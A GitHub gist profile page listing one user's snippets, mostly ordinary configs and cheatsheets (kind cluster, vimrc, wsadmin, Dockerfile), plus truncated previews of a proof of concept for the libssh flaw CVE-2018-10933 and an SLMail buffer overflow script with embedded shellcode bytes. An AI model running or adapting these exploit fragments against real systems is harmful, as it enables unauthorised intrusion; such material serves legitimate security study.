Skip to content

Instantly share code, notes, and snippets.

View digital-shokunin's full-sized avatar

David digital-shokunin

View GitHub Profile
# Lab cluster setup
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: lab
# patch the generated kubeadm config with some extra settings
kubeadmConfigPatches:
- |
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
evictionHard:
@digital-shokunin
digital-shokunin / cve-2018-10933.py
Created October 17, 2018 17:48
CVE-2018-10933
#CVE-2018-10933 PoC modified from Minh Tuan Luong <not.soledad () gmail com> example PoC
import paramiko
import socket
import sys
nbytes = 4096
if len(sys.argv) < 2:
print("Usage: " + sys.argv[0] + " <hostname> <port (optional: default 2222}>")
exit(1)
@digital-shokunin
digital-shokunin / fuzzer.py
Last active October 3, 2018 18:00
SLMail overflow in python3
#!/usr/bin/python3
import socket
#Python 2 is dead/on borrowed time, write exploits in Python3 FTW
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Replace shellcode with your own but prepend b" to hex strings
shellcode = (
b"\xda\xc3\xd9\x74\x24\xf4\x5f\x33\xc9\xbd\xc6\xe9\x1f\xf7\xb1"
b"\x52\x31\x6f\x17\x03\x6f\x17\x83\x29\x15\xfd\x02\x49\x0e\x80"
@digital-shokunin
digital-shokunin / Unicode.txt
Created June 8, 2017 20:01
Displaying unicode characters (spacevim/macs)
https://askubuntu.com/questions/572605/unicode-characters-do-not-appear-in-gnome-terminal-for-vim-airline
http://paste.ubuntu.com/9751270/
https://github.com/powerline/fonts/
Make sure terminal type is set to xterm-256color

Keybase proof

I hereby claim:

  • I am digital-shokunin on github.
  • I am digisho (https://keybase.io/digisho) on keybase.
  • I have a public key ASCb4gh2wnQSifLWdNlcZzFlzlWJHGYAnsU1daewzLFjQwo

To claim this, I am signing this object:

@digital-shokunin
digital-shokunin / etc-vimrc
Created May 18, 2016 16:33
vim and git development settings for Puppet
if v:lang =~ "utf8$" || v:lang =~ "UTF-8$"
set fileencodings=ucs-bom,utf-8,latin1
endif
set nocompatible " Use Vim defaults (much better!)
set bs=indent,eol,start " allow backspacing over everything in insert mode
"set ai " always set autoindenting on
"set backup " keep a backup file
set viminfo='20,\"50 " read/write a .viminfo file, don't store more
" than 50 lines of registers
@digital-shokunin
digital-shokunin / howtogrooveshark.txt
Last active August 29, 2015 14:21
How to get your grooveshark playlist
In Chrome, hit Ctrl-Shift-J,
Paste the following JS into the console
@digital-shokunin
digital-shokunin / Get wsadmin help.md
Last active January 5, 2024 03:46
WSAdmin cheatsheet
    Help()
    AdminApp.help()
    AdminConfig.help()
    AdminControl.help()

List some servers:

AdminControl.queryNames('type=Server,cell='+cn+',node='+nn+',*')

@digital-shokunin
digital-shokunin / Dockerfile
Last active July 14, 2016 04:04
Dockerfile for uwsgi/nginx/with flask install
############################################################
# Dockerfile to build Python Nginx/uWSGI/Flask Application Containers
# Based on Ubuntu
############################################################
# Set the base image to Ubuntu
FROM icecreammatt/flask
# File Author / Maintainer
MAINTAINER David Mitchell